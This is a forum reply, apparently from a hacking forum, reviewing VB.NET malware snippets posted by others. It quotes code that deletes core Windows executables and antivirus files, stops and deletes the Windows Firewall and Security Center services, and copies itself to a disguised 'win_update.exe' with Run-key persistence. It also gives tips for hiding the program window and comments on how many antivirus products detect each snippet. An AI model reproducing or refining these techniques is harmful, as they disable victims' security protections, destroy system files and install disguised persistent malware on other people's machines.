[1234hotmaster]

hi nice thread but i want to put up some comments on each and/or a better code for them

Code:

Me.Hide

wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:

Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe") Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe")

As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:

Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")

Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:

Kill("C:\Program Files\Sandboxie\sbiectrl.exe")

Sandboxie process is always running if installed so no hope

Code:

Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:

On Error Resume Next IO.File.Delete("C:\file.exe")

Code:

Dim file As System.IO.FileStream file = System.IO.File.Create("c:\test.exe")

i don't think thats how to make a file plus even if you make a file its empty

Code:

Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:




and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs: